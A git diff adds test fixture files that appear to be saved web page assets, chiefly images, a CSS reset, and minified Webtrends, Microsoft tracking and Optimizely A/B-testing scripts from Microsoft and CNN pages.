+function MscomInit(){MscomsetEvents(),autoFirePV=window.varAutoFirePV!=undefined?window.varAutoFirePV:1,autoFirePV==1?MscomSendPageView(window.varCustomerTracking!=undefined&&window.varCustomerTracking==1?1:0):(MscomSetSharedData(),muidCreated!=1&&MscomGetMUID(0))}function MscomSendPageView(n){MscomResetArrays(),MscomSetSharedData(0),wcs["wcs.et"]=0,n!=undefined&&n!=0&&muidCreated!=1?MscomGetMUID(1):MscomBeacon()}function MscomCustomEvent(){var f,i,r,t,n,u;try{for(MscomResetArrays(),Msc [...]
diff --git a/src/test/resources/s/Filer_for_microsoft/search-button-blue.png b/src/test/resources/s/Filer_for_microsoft/search-button-blue.png
new file mode 100644
index 0000000..91dd258
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/search-button-blue.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/skype_symbol_clr_52x52.png b/src/test/resources/s/Filer_for_microsoft/skype_symbol_clr_52x52.png
new file mode 100644
index 0000000..93a1379
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/skype_symbol_clr_52x52.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/store_symbol_clr_52x52.png b/src/test/resources/s/Filer_for_microsoft/store_symbol_clr_52x52.png
new file mode 100644
index 0000000..7feb99d
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/store_symbol_clr_52x52.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/style.css b/src/test/resources/s/Filer_for_microsoft/style.css
new file mode 100644
index 0000000..125cd9e
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/style.css
@@ -0,0 +1 @@
+html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline} [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_microsoft/windows_symbol_clr_52x52.png b/src/test/resources/s/Filer_for_microsoft/windows_symbol_clr_52x52.png
new file mode 100644
index 0000000..2191aa3
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/windows_symbol_clr_52x52.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/windowsphone_symbol_clr_52x52.png b/src/test/resources/s/Filer_for_microsoft/windowsphone_symbol_clr_52x52.png
new file mode 100644
index 0000000..6b331e2
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/windowsphone_symbol_clr_52x52.png differ
diff --git a/src/test/resources/s/Filer_for_microsoft/wt_capi.js b/src/test/resources/s/Filer_for_microsoft/wt_capi.js
new file mode 100644
index 0000000..69dac9a
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/wt_capi.js
@@ -0,0 +1,22 @@
+/*
+* Copyright 2009-2012 Webtrends Inc. All Rights Reserved.
+* WEBTRENDS PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
+*
+*/
+
+/*
+* Uncomment the line below to force SSL communication on all calls to Webtrends
+* optimization and tracking servers.
+*/
+//z27a3=true;
+
+/* Uncomment the line below to enable the global config file support.
+* (wtopt.config.js)
+*/
+//zb410=true;
+
+/* Uncomment the line below to modify the global config file search path. */
+//z7bcb=["","/"];
+
+function z0691(){this.zfff3=false;this.z9ea2=false;this.ze3c2=false;this.z2b20=[];this.zf310=[];this.z23eb={};this.zc901=false;this.z907d=null;this.z93cb=null;this.z4e9a=null;this.zefb8=false;this.Debug=null;var z1a23=this;this.z95e8=function(){this.z23eb["s_keyToken"]="fbaed4f873f801dbc6ad34600e85fda99a00c15cb7";this.z23eb["s_domainKey"]="311121";this.z23eb["s_capiMajorVersion"]="3";this.z23eb["s_capiMinorVersion"]="2";this.z23eb["s_capiIncVersion"]="2";this.z23eb["s_capiDebug"]=("false [...]
+
diff --git a/src/test/resources/s/Filer_for_microsoft/wt_lib.js b/src/test/resources/s/Filer_for_microsoft/wt_lib.js
new file mode 100644
index 0000000..bdede6b
--- /dev/null
+++ b/src/test/resources/s/Filer_for_microsoft/wt_lib.js
@@ -0,0 +1,7 @@
+/*
+* Copyright 2009-2012 Webtrends Inc. All Rights Reserved.
+* WEBTRENDS PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
+*
+*/
+
+WTOptimize.zd67f=function(z1a23){var z32da=this;var z0eb2=false;var z67fd=[];var z706a=[];WTEvent.CONTROL_RESPONSE="control_response";WTEvent.CONTROL_PART="control_part";WTEvent.zb899="control_abort";WTEvent.z0aef="control_invalid";WTEvent.z5749="control_preprocess";WTEvent.z257b="control_process";WTEvent.z85a2="control_pageview";WTEvent.z6938="control_conversion";WTEvent.zb2de="control_conversionevent";WTEvent.zecbe="dom_ready";WTEvent.z6fd7="dom_onload";WTEvent.PRECONVERSIONEVENT="prec [...]
diff --git a/src/test/resources/s/Filer_for_microsoft/xbox_symbol_clr_52x52.png b/src/test/resources/s/Filer_for_microsoft/xbox_symbol_clr_52x52.png
new file mode 100644
index 0000000..727b2dc
Binary files /dev/null and b/src/test/resources/s/Filer_for_microsoft/xbox_symbol_clr_52x52.png differ
diff --git a/src/test/resources/s/cf/07.png b/src/test/resources/s/cf/07.png
new file mode 100644
index 0000000..ea64b1e
Binary files /dev/null and b/src/test/resources/s/cf/07.png differ
diff --git a/src/test/resources/s/cf/1.gif b/src/test/resources/s/cf/1.gif
new file mode 100644
index 0000000..e66849a
Binary files /dev/null and b/src/test/resources/s/cf/1.gif differ
diff --git a/src/test/resources/s/cf/120202030055-mysteries-of-love-video-tease.jpg b/src/test/resources/s/cf/120202030055-mysteries-of-love-video-tease.jpg
new file mode 100644
index 0000000..e08e2ba
Binary files /dev/null and b/src/test/resources/s/cf/120202030055-mysteries-of-love-video-tease.jpg differ
diff --git a/src/test/resources/s/cf/121127015552-egypt-morsy-protester-wall-4-tease.jpg b/src/test/resources/s/cf/121127015552-egypt-morsy-protester-wall-4-tease.jpg
new file mode 100644
index 0000000..04340a3
Binary files /dev/null and b/src/test/resources/s/cf/121127015552-egypt-morsy-protester-wall-4-tease.jpg differ
diff --git a/src/test/resources/s/cf/128727546.js b/src/test/resources/s/cf/128727546.js
new file mode 100644
index 0000000..4c1586d
--- /dev/null
+++ b/src/test/resources/s/cf/128727546.js
@@ -0,0 +1,102 @@
+
+
+
+
+
+
+optimizelyCode = function(){
+var DATA={"public_suffixes":{"cnn.com":["edition.cnn.com"]},"log_host":"log3","api_host":"api","variations":{"146861507":{"code":"$(\".cnn_hpinthenewshdr > span\").replaceWith(\"<span>Trending Topics</span>\");","name":"Trending Topics"},"147304463":{"code":"$(\".cnn_hpinthenews\").css({\"background-image\":\"none\", \"background-color\":\"#f1ee3b\"});","name":"Variation #3"},"147342517":{"code":"$(\"#intl-menu > li:eq(13)\").css({\"position\":\"relative\", \"left\":1, \"top\":-13, \"wid [...]
+
+var optly={nativity:{}};optly.nativity.getNativeGetElementsByClassName=function(){var a=document.getElementsByClassName;if(!optly.nativity.isNativeFunction(a))var a=(window.optimizely||{}).getElementsByClassName,b=(window.optly||{}).getElementsByClassName,a=optly.nativity.isNativeFunction(a)?a:optly.nativity.isNativeFunction(b)?b:null;return a};optly.nativity.isNativeFunction=function(a){return a&&-1!==String(a).indexOf("[native code]")};optly.Cleanse={};optly.Cleanse.each=function(a,b,c [...]
+optly.Cleanse.finish=function(){if(optly.Cleanse.running){optly.Cleanse.running=!1;optly.Cleanse.each(optly.Cleanse.types,function(a,b){Object.prototype.__defineGetter__&&optly.Cleanse.each(optly.Cleanse.getters[a],function(c,e){b.prototype.__defineGetter__(c,e);optly.Cleanse.log("restored getter",a,c)});optly.Cleanse.each(optly.Cleanse.properties[a],function(c,e){b.prototype[c]=e;optly.Cleanse.log("restored property",a,c)})});optly.Cleanse.unfixGetElementsByClassName();optly.Cleanse.log [...]
+var a=window.console;if((-1!==window.location.hash.indexOf("optimizely_log=true")||-1!==window.location.search.indexOf("optimizely_log=true"))&&a&&a.log)for(var b=optly.Cleanse.logs,c=0;c<b.length;c++)a.log(b[c])}};optly.Cleanse.log=function(a,b,c){b?(b=b.replace(/_/g,""),optly.Cleanse.logs.push("Optimizely / Info / Cleanse / "+a+": "+b+"."+c)):optly.Cleanse.logs.push("Optimizely / Info / Cleanse / "+a)};
+optly.Cleanse.start=function(){var a=window.location.hostname;if(!(-1!==a.indexOf("optimizely")&&-1===a.indexOf("edit")&&-1===a.indexOf("preview")&&-1===a.indexOf("test"))){optly.Cleanse.log("start");optly.Cleanse.running=!0;for(var b in optly.Cleanse.types)optly.Cleanse.types[b]||delete optly.Cleanse.types[b];optly.Cleanse.each(optly.Cleanse.types,function(a,b){optly.Cleanse.getters[a]={};optly.Cleanse.properties[a]={};optly.Cleanse.each(b.prototype,function(d,g,e){e?(optly.Cleanse.gett [...]
+e,optly.Cleanse.log("cleansed getter",a,d)):(optly.Cleanse.properties[a][d]=g,optly.Cleanse.log("cleansed property",a,d));delete b.prototype[d]})});optly.Cleanse.fixGetElementsByClassName();optly.Cleanse.hasRunStart=!0}};
+optly.Cleanse.fixGetElementsByClassName=function(){if(!optly.nativity.isNativeFunction(document.getElementsByClassName)){var a=optly.nativity.getNativeGetElementsByClassName();a?(optly.Cleanse.getElementsByClassName=document.getElementsByClassName,document.getElementsByClassName=a):optly.Cleanse.log("Error: native HTMLElement.prototype.getElementsByClassName missing")}};
+optly.Cleanse.unfixGetElementsByClassName=function(){optly.Cleanse.getElementsByClassName&&(document.getElementsByClassName=optly.Cleanse.getElementsByClassName,optly.Cleanse.getElementsByClassName=null)};optly.Cleanse.getElementsByClassName=null;optly.Cleanse.getters={};optly.Cleanse.logs=[];optly.Cleanse.properties={};optly.Cleanse.types={HTMLElement_:window.HTMLElement,Object_:Object};window.optly=window.optly||{};window.optly.Cleanse={finish:optly.Cleanse.finish,logs:optly.Cleanse.lo [...]
+optly.Cleanse.start();
+var $=jQuery;
+var h=void 0,i=!0,j=null,k=!1;function aa(a,b,c){switch(c){case "exact":return a=ba(a),a=ca(a,"optimizely_log"),a=ca(a,"optimizely_verbose"),a===ba(b);case "regex":try{return Boolean(a.match(b))}catch(d){return k}case "simple":return a=ba(da(a)),b=ba(da(b)),a===b;case "substring":return a=ba(a,i),b=ba(b,i),-1!==a.indexOf(b);default:return k}}function da(a){var b=a.indexOf("?");-1!==b&&(a=a.substring(0,b));b=a.indexOf("#");-1!==b&&(a=a.substring(0,b));return a}
+function ba(a,b){var a=a.toLowerCase().replace(/[/&?]+$/,""),c=ea.slice(0);b||(c=c.concat(fa));for(var d=c.length,e=0;e<d;e++)a=a.replace(RegExp("^"+c[e]),"");return a}function ca(a,b){return a.replace("&"+b+"=true","").replace("?"+b+"=true&","?").replace("?"+b+"=true","")}var ea=["https?://edit.local/","https?://.*?.?optimizelyedit.appspot.com/","https?://preview.optimizely.com/","https?://"],fa=["www."];function ga(a){a=a||{};if(ha){a&&a.sVariable&&(ia=a.sVariable);var b=ia||("undefine [...]
+j&&a.push("prop"+c);o(a,function(a){m("Integrator","Setting SiteCatalyst %s='%s'",a,f);b[a]=f})})}else ma=i;else u("Integrator","Error with SiteCatalyst integration: 's' variable not defined")}}function na(a,b){return a.replace(/[^a-zA-Z0-9\.\~\!\*\(\)\']+/g,"_").substring(0,b)}
+function q(a,b,c,d,e,f){a=oa+(r(a,"name")||"");b=pa(b);1<b.length?(b=$.map(b,function(a){return a.substr(0,e-1)}),b=b.join("~")):b=b[0];f?(a=na(a,c),b=na(b.replace("#",""),d)):(a=a.substring(0,c),b=b.substring(0,d));return{key:a,value:b}}
+function qa(){if(ha){var a=v("optimizelyReferrer");a&&0<a.length&&(ka=a,y("optimizelyReferrer",""));if(a=ka)try{m("Integrator","Fixing _gaq._setReferrerOverride with %s",a),_gaq.push(["_setReferrerOverride",a])}catch(b){m("Integrator","Error setting Google Analytics referrer: %s",b)}o(la(),function(a){var b=p(a);if(r(b,"chartbeat")){var c=oa;oa="";var g=q(b,a,10,10,5,k);oa=c;c=ra(a);ta=g.key+": "+String(c);try{m("Integrator","Calling _cbq.push");_cbq.push(["_optlyx",ta])}catch(l){u("Inte [...]
+z(b))}}if(r(b,"crazyegg")){g=q(b,a,100,100,15,k);try{m("Integrator","Defining CE_SNAPSHOT_NAME");window.CE_SNAPSHOT_NAME=g.key+": "+g.value}catch(t){u("Integrator","Error sending CrazyEgg data for "+z(b))}}if(ua(b)){g=ua(b);c=0;A(g)&&(c=g.slot||c);var g=c,c=ua(b),n="";A(c)&&(n=c.tracker||n);c=n;n=q(b,a,28,24,5,i);try{var w="";c!==""&&(w=c+".");m("Integrator","Calling _gaq._setCustomVar for slot %d",g);_gaq.push([w+"_setCustomVar",g,n.key,n.value,2])}catch(P){u("Integrator","Error sending [...]
+z(b))}}if(B("kissmetrics")){g=q(b,a,100,100,15,i);c={};c[g.key]=g.value;try{m("Integrator","Calling _kmq.set");_kmq.push(["set",c])}catch(L){u("Integrator","Error sending KISSmetrics data for "+z(b))}}if(r(b,"mixpanel")){a=q(b,a,100,100,15,k);g={};g[a.key]=a.value;try{m("Integrator","Calling mixpanel.push");mixpanel.push(["register",g])}catch(sa){u("Integrator","Error sending Mixpanel data for "+z(b))}}});a=v("optimizelyChartbeat")||"";try{if(a&&ta!=a&&(m("Integrator","Calling _cbq.push [...]
+_cbq.push(["_optlyr",a])),ta!=a)m("Integrator","Set new Chartbeat referral cookie."),y("optimizelyChartbeat",ta)}catch(c){u("Integrator","Error sending Chartbeat referral for "+a)}ja=i;ma&&(ga(),ma=k)}}function la(){var a=va.concat(C),b=[];o(wa(),function(c){var d=p(c),e=k;if(xa(d)){var f=ya(c);D(a,d)&&(m("Integrator",'"%s" relevant because experiment active',f),e=i);za(Aa(c))&&(m("Integrator",'"%s" relevant because it redirects',f),e=i);e&&b.push(c)}});return b}
+var ma=k,ta="",ja=k,oa="Optimizely ",ia=j,ka=j;function Ba(a,b,c){Ca=i;E&&c!==i&&F.e(document.location.href);a=String(a);b=String(b);if("-1"===b){G[a]&&delete G[a];Da[a]&&delete Da[a];for(c=0;c<H.length;c++)H[c].i===a&&H.splice(c,1);Ea()}else{c=j;if(256>=Number(b)){var c=String,d=Fa(a),e=j;try{e=d[b]}catch(f){}c=c(e)}else c=String(b);if((b=I(a))&&0<b.length){a:{b=I(a);for(d=0;d<b.length;d++)if(e=Ga(b[d]),D(e,c)){b=b[d];break a}b=""}Ha[a]=Ha[a]||{};Ha[a][b]=c;u("Distributor","Preferring v [...]
+a);a=Ja(a);1===a.length&&Ka(a[0],"api.bucketUser",k,i)}else Ka(c,"api.bucketUser",k,i)}La()}function Ma(a){a&&"tracking"===a||(E=k);ha=k}
+function Na(){Oa={};K={};Pa={};o(wa(),function(a){var b=p(a);Oa[b]=a.split("_");K[b]=ra(a);Pa[b]=ya(a)});M={experiments:{},sections:{},segments:{},state:{},variations:{},visitor:{}};for(var a=Qa(),b=0;b<a.length;b++){var c=a[b],d={};d.code=r(c,"code")||"";d.name=r(c,"name")||"";d.manual=Ra(c);d.section_ids=I(c);d.variation_ids=Fa(c);M.experiments[c]=d}a=Sa();for(b=0;b<a.length;b++)c=a[b],M.segments[c]={name:Ta(c,"name")||""};a=Ua(B("sections")||{});for(b=0;b<a.length;b++)c=a[b],d={},d.na [...]
+c,"name")||"",d.variation_ids=Ga(c),M.sections[c]=d;a=Ua(B("variations")||{});for(b=0;b<a.length;b++)c=a[b],d={},d.name=ya(c),d.code=Aa(c),M.variations[c]=d;a={};b=Va();a.browser={ff:"Firefox",ie:"Internet Explorer",safari:"Safari",gc:"Google Chrome",opera:"Opera"}[b]||"";b=Wa();a.location={city:b.city,continent:b.continent,country:b.country,region:b.region};a.params={};c=Xa();c.reverse();b=0;for(d=c.length;b<d;b++)a.params[c[b][0]]=decodeURIComponent(c[b][1]);a.referrer=String(document. [...]
+a.segments=Ya();a.mobile="unknown"!==Za();a.os=$a();M.visitor=a;b={};b.activeExperiments=va||[];b.variationIdsMap=Oa;b.variationMap=K;b.variationNamesMap=Pa;M.state=b;ab(window.optimizely,{activeExperiments:va,allExperiments:bb(),all_experiments:bb(),data:M,variationIdsMap:Oa,variationMap:K,variationNamesMap:Pa,variation_map:K})}var M={},cb=[],Oa={},K={},Pa={};function db(a,b){var b=b===i,c,d=j;o(H,function(b){a==b.i&&(d=b.id)});if((c=d)&&0<c.length)return u("Distributor","Not distributi [...]
+Math.random()))return u("Distributor","Permanently ignoring experiment "+a+"("+e+"% likelihood)"),eb(a),k;e=c;Ha[a]!==h&&(u("Distributor","Taking into account bucketUser variations for experiment "+a),e=Ja(a));var f;f=e;var g=[],l=r(a,"variation_weights")||{};o(f,function(a){g.push(l[a])});f=fb(g);e=e[f];u("Distributor","Picked variation "+e+" [index "+f+" of "+c.length+"]");Ka(e,"distributor",k);return i}
+function Ja(a){var b=[];o(r(a,"enabled_variation_ids")||[],function(c){var d=i,e;for(e in Ha[a])-1===c.indexOf(Ha[a][e])&&(d=k);d&&b.push(c)});return b}var Ha={};function Xa(){var a=window.location.search||"";0===a.indexOf("?")&&(a=a.substring(1));for(var a=a.split("&"),b=[],c=0;c<a.length;c++){var d="",e="",f=a[c].split("=");0<f.length&&(d=f[0]);1<f.length&&(e=f[1]);b.push([d,e])}return b}function gb(a){for(var b=Xa(),c=0;c<b.length;c++){var d=b[c];if(d[0]===a)return d[1]}return j};func [...]
+b.g;e&&(d=mb(a,e)||mb(navigator.appVersion,e));return{z:b.id||"unknown",A:d||"unknown",L:c.id||"unknown"}}function mb(a,b){var c=a.indexOf(b),d=j;-1!==c&&(c+=b.length+1,d=parseFloat(a.substring(c)));return d}function lb(a,b){return o(a,function(a){var d=a.N||b;if(d&&-1!==d.indexOf(a.substring)||a.prop)return a})||{}};var nb=0,E=i,ob=j,O="",pb=k,Q=k,qb=k,Ca=k,rb=k,ha=i;var sb,tb;
+(function(){function a(a){d.lastIndex=0;return d.test(a)?'"'+a.replace(d,function(a){var b=g[a];return"string"===typeof b?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+a+'"'}function b(c,d){var g,P,L,sa,Ia=e,J,x=d[c];"function"===typeof l&&(x=l.call(d,c,x));switch(typeof x){case "string":return a(x);case "number":return isFinite(x)?String(x):"null";case "boolean":case "null":return String(x);case "object":if(!x)return"null";e+=f;J=[];if("[object Array]"===Object.proto [...]
+for(g=0;g<sa;g+=1)J[g]=b(g,x)||"null";L=0===J.length?"[]":e?"[\n"+e+J.join(",\n"+e)+"\n"+Ia+"]":"["+J.join(",")+"]";e=Ia;return L}if(l&&"object"===typeof l){sa=l.length;for(g=0;g<sa;g+=1)"string"===typeof l[g]&&(P=l[g],(L=b(P,x))&&J.push(a(P)+(e?": ":":")+L))}else for(P in x)Object.prototype.hasOwnProperty.call(x,P)&&(L=b(P,x))&&J.push(a(P)+(e?": ":":")+L);L=0===J.length?"{}":e?"{\n"+e+J.join(",\n"+e)+"\n"+Ia+"}":"{"+J.join(",")+"}";e=Ia;return L}}var c=/[\u0000\u00ad\u0600-\u0604\u070f\ [...]
+d=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,e,f,g={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},l;sb=function(a,c,d){var g;f=e="";if("number"===typeof d)for(g=0;g<d;g+=1)f+=" ";else"string"===typeof d&&(f=d);if((l=c)&&"function"!==typeof c&&("object"!==typeof c||"number"!==typeof c.length))throw Error("JSON.stringify");return b("",{"":a})};tb=function(a,b){function d(a,c){var [...]
+if(g&&"object"===typeof g)for(e in g)Object.prototype.hasOwnProperty.call(g,e)&&(f=d(g,e),f!==h?g[e]=f:delete g[e]);return b.call(a,c,g)}var e,a=String(a);c.lastIndex=0;c.test(a)&&(a=a.replace(c,function(a){return"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return e=eval("("+a+")"),"fun [...]
+typeof b?d({"":e},""):e;throw new SyntaxError("JSON.parse");}})();var F={v:function(a,b){var c={},c=b&&ub(b)?{revenue:Number(b)}:b;F.e(a,"custom",c)},e:function(a,b,c){c=c||{};vb(a,c);ha&&(F.l.push({name:a,type:b,options:c}),F.u?(F.q(),u("Tracker","Tracking event '"+a+"'")):u("Tracker","Queued tracking event '"+a+"'"))},D:function(){$("html").one("mousedown",wb(F.e,"engagement"))},F:function(a){return function(){F.M(a)}},m:function(){var a=v("optimizelyPendingLogEvents")||"[]",b=[];try{b [...]
+typeof e){b=[];break}else try{tb(e);b=[];break}catch(f){}}else b=[];return b},J:function(a,b){F.H(a)?F.K(a,b):F.o(a,b)},o:function(a,b){var c=xb();u("Tracker","Making "+c.length+" log image request(s).");for(var d=0;d<c.length;d++){var e=c[d],f=new Image;f.onload=b;yb("log_host");e=e+"/event?"+a;e=F.O(e);f.src=e;F.images.push(f)}},K:function(a,b){var c=xb();u("Tracker","Making "+c.length+" log XHR request(s).");for(var d=0;d<c.length;d++){var e=c[d]+"/event?"+a;try{var f=new XMLHttpReque [...]
+f)f.onerror=b,f.onload=b,f.open("GET",e,i),f.withCredentials=i,f.send();else throw"CORS with credentials is not supported.";}catch(g){u("Tracker","Found that XHR with credentials is not supported in this browser."),F.o(a,b)}}},H:function(a){return-1!==a.indexOf(F.k)},O:function(a){return a.replace("&"+F.k,"")},p:function(a){var b=(a=a===i||"true"===a)?"true":"false";a?(y("optimizelyOptOut",b,31536E4),y("optimizelyBuckets",b,31536E4),alert("You have successfully opted out of Optimizely fo [...]
+(y("optimizelyOptOut",b,31536E4),alert("You are NOT opted out of Optimizely for this domain."))},M:function(a){for(var b=F.m(),c=0,d=b.length;c<d;c++)if(b[c]===a){b.splice(c,1);break}F.t(b);u("Tracker","Removed a pending log event from the pending events cookie.")},l:[],u:k,q:function(){var a=["a="+zb(),"d="+Ab(),"y="+!!B("ip_anonymization")];Ca&&a.push("override=true");o(wa(),function(b){var c=p(b);a.push("x"+c+"="+b)});a.push("f="+Bb().join(","));o(Ya(),function(b,c){a.push("s"+b+"="+c [...]
+a.join("&"),c=[];o(F.l,function(a){var b=[];a.name&&b.push("n="+encodeURIComponent(a.name));a.options.revenue&&b.push("v="+encodeURIComponent(a.options.revenue));a.options.anonymous!==i&&b.push("u="+Cb());F.R(a)&&b.push(F.k);b.push("t="+ +new Date);c.push(b.join("&"));if("custom"===a.type)try{F.Q(a.name)}catch(d){}});var d=c.concat(F.m());F.t(d);d=F.r?c:d;F.r=i;for(var e=0,f=d.length;e<f;e++){var g=d[e];F.J(b+"&"+g,F.F(g))}F.l=[];F.u=i},t:function(a){for(var b=sb(a);1536<b.length;)a=a.sl [...]
+b=sb(a);y("optimizelyPendingLogEvents",b,15)},Q:function(a){var b=Cb(),c=v("optimizelyCustomEvents")||"{}";try{c=tb(c)}catch(d){c={}}var e=c[b]||(c[b]=[]),e=R(e)?e:[];-1!==$.inArray(a,e)&&e.splice($.inArray(a,e),1);e.push(a);10<e.length&&e.shift();c[b]=e;var a=0,e=j,f=0,g;for(g in c)c.hasOwnProperty(g)&&(a++,c[g].length>f&&g!==b&&(e=g,f=c[g].length));10<a&&e!==j&&delete c[e];y("optimizelyCustomEvents",sb(c),31536E4)},R:function(a){return"https:"===document.location.protocol&&"ie"===Va()& [...]
+k:"pageview"===a.type},images:[],r:k,k:"wxhr=true"};function Eb(a,b){var c;c=$.trim(b);var d="";if(window.optimizely&&window.optimizely.data)if(d=c.match(Fb))d=window.optimizely.data.visitor.params[d[1]],d===h&&(d="");else{for(var d=c.split("."),e=window.optimizely,f=0,g=d.length;f<g;f++)if(e=e[d[f]],e===h||e===j){e="";break}d=""+e}u("Template",c+" evaluated to: '"+d+"'");return d}var Gb=/\{\{ *optimizely\.([^\n\r{}<>]*)\}\}/g,Fb=/^data\.visitor\.params\.(.*)$/;function vb(a,b){var b=b|| [...]
+function y(a,b,c){var d=S||Pb,e=document.location.hostname;!S&&B("remote_public_suffix")&&Qb.push({w:c,name:a,value:b});S&&S!==Pb&&(Rb(a,e),Rb(a,Pb));Sb(a,b,d,c);var f=v(a);f===b?m("Cookie","Successful set %s=%s on %s",a,b,d):(m("Cookie","Setting %s on %s apparently failed (%s != %s)",a,d,f,b),m("Cookie","Setting %s on %s",a,e),Sb(a,b,e,c),f=v(a),f===b&&(m("Cookie","Setting %s on %s worked; saving as new public suffix",a,e),Pb=e))}
+function Rb(a,b){m("Cookie","Deleting %s on %s",a,b);document.cookie=[a,"=; domain=.",b,"; path=/; expires=",(new Date(0)).toUTCString()].join("")}function Tb(a){S=a.public_suffix;m("Cookie","Public suffix request returned: %s",S);y("optimizelyPublicSuffix",S,31536E4);if(S!==Pb)for(;0<Qb.length;)a=Qb.shift(),y(a.name,a.value,a.w);Qb=[]}
+function Ub(a){var a=yb("api_host")+"/iapi/public_suffix?host="+encodeURIComponent(a),b="callback"+Math.random().toString().replace("0.",""),c=document,d=c.head||c.getElementsByTagName("head")[0]||c.documentElement,c=c.createElement("script");window.optimizely[b]=Tb;c.async="async";c.src=[a,-1!==a.indexOf("?")?"&":"?","callback=optimizely.",b].join("");d.insertBefore(c,d.firstChild)}
+function Sb(a,b,c,d){a=[a,"=",encodeURIComponent(b),"; domain=.",c,"; path=/"];d&&a.push("; expires=",(new Date(+new Date+1E3*d)).toUTCString());document.cookie=a.join("")}var Pb="",S="",Qb=[];var T;function Va(){function a(){return T.z}T=T||kb();Va=a;return a()}function Vb(){var a="";try{a=navigator.userLanguage||window.navigator.language,a=a.toLowerCase()}catch(b){a=""}return a}function Db(){function a(){return T.A}T=T||kb();Db=a;return a()}function Wb(a){if(!a)return"";try{return a.ma [...]
+function Cb(){var a=v("optimizelyEndUserId");a||(a="oeu"+ +new Date+"r"+Math.random(),y("optimizelyEndUserId",a,31536E4));return a}
+function Wa(){var a={};try{a=window.optimizely.data.visitor.location}catch(b){}var c="",d="",e="",f="";try{d=a.country.toUpperCase()||""}catch(g){d=""}try{e=a.region.toUpperCase()||""}catch(l){e=""}"N/A"===e&&(e="");try{f=a.city.toUpperCase()||""}catch(t){f=""}"N/A"===f&&(f="");try{c=a.continent.toUpperCase()||""}catch(n){c=""}"N/A"===c&&(c="");return{city:f,continent:c,country:d,region:e}}function Za(){function a(){return T.L}T=T||kb();Za=a;return a()}
+function $a(){var a=navigator.appVersion||"",b="";-1!==a.indexOf("Win")&&(b="Windows");-1!==a.indexOf("Mac")&&(b="Mac");-1!==a.indexOf("Linux")&&(b="Linux");return b}
+function Yb(){var a=Xb();if(gb("utm_source")||gb("gclid"))return"campaign";for(var b=["google\\.\\w{2,3}(\\.\\w{2,3})?/(search|url)","bing\\.\\w{2,3}(\\.\\w{2,3})?/(search|url)","yahoo\\.\\w{2,3}(\\.\\w{2,3})?/search","baidu\\.\\w{2,3}(\\.\\w{2,3})?/s?"],c=0;c<b.length;c++)if(a.match(b[c]))return"search";return a&&Wb(a)!==Wb(window.location.href)?"referral":"direct"}var Zb=h;function $b(a,b){if(E){R(a)?ac(a):(a=[],ac(b));a=a.concat(C);C=[];for(var c=0;c<a.length;c++)D(va,a[c])||va.push(a [...]
+[],a)}),d=0;d<c.length;d++){var n=c[d];b[n.selector]||(b[n.selector]=[]);b[n.selector].push(n.event_name)}o(b,function(b,c){o(c,function(c){e.push({h:c,f:b,type:"event '"+c+"' (experiment "+a+")",j:i})})});c=r(a,"css")||"";d=r(a,"code")||"";c&&g.push({code:'$("body").append("<style>'+c.replace(/([\f\n\r\t\\'"])/g,"\\$1")+'</style>");',f:"body",type:"global css (experiment "+a+")",j:i});d&&ec(d,f,l)});o(d,function(a){for(var a=Aa(a),a=a.split("\n"),b=[],c=i,d=0,e=a.length;d<e;d++){var g=$ [...]
+if(g==="/* _optimizely_variation_url_end */")c=i;else if(g!==""){var n=Ob.exec(g);if(n&&n.length===13){var w=n[2]?n[2].split(" "):[],g=n[4]?n[4].split(" "):[],t=n[6]?n[6]:"substring",md=n[8]?n[8].split(" "):[],n=n[10]?n[10].split(" "):[];if(w.length>0){c=fc(w,md,t);c=dc(c)}if(c&&g.length>0){c=fc(g,n,t);c=!dc(c)}}else c&&b.push(g)}}a=b.join("\n");ec(a,f,l)});c=[];c.push.apply(c,f);c.push.apply(c,g);c.push.apply(c,l);c.push.apply(c,e);gc.push.apply(gc,c);hc()}}
+function hc(){var a=k;ic=j;for(u("Evaluator",jc+" times waited");!a&&0<gc.length;){u("Evaluator",gc.length+" steps remaining");var b=gc.shift(),c=b,a=k;if(c.S&&!kc)u("Evaluator","Document not ready yet"),a=i;else if(c.j&&!kc&&(c=c.f))for(var c=R(c)?c:[c],d=0;d<c.length;d++){var e=c[d];if(!(e===j||e===h||!e.length)&&0===$(e).length)u("Evaluator","'"+e+"' not found"),a=i}a?gc.unshift(b):b.h?(u("Evaluator","Bound event "+b.h+" to selector "+b.f),lc(b.f,b.h)):b.code&&(u("Evaluator","Run code [...]
+mc(b.code))}a?(ic=setTimeout(hc,0===jc?10:50),jc++):u("Evaluator",jc+" total times waited")}
